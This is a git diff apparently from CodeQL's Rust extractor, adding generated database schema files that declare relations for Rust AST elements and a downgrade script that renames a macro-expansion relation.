+extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_expandeds( + int id: @macro_call ref, + int expanded: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties b/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties new file mode 100644 index 000000000000..13860dac419a --- /dev/null +++ b/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties @@ -0,0 +1,5 @@ +description: Rename `macro_call_expansion` to `expanded`, and remove `attribute_macro_expansion` +compatibility: backwards +macro_call_expandeds.rel: reorder macro_call_macro_call_expansions.rel (@macro_call id, @ast_node expanded) id expanded +macro_call_macro_call_expansions.rel: delete +item_attribute_macro_expansions.rel: delete diff --git a/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/old.dbscheme b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/old.dbscheme new file mode 100644 index 000000000000..a1005655e9ef --- /dev/null +++ b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/old.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + 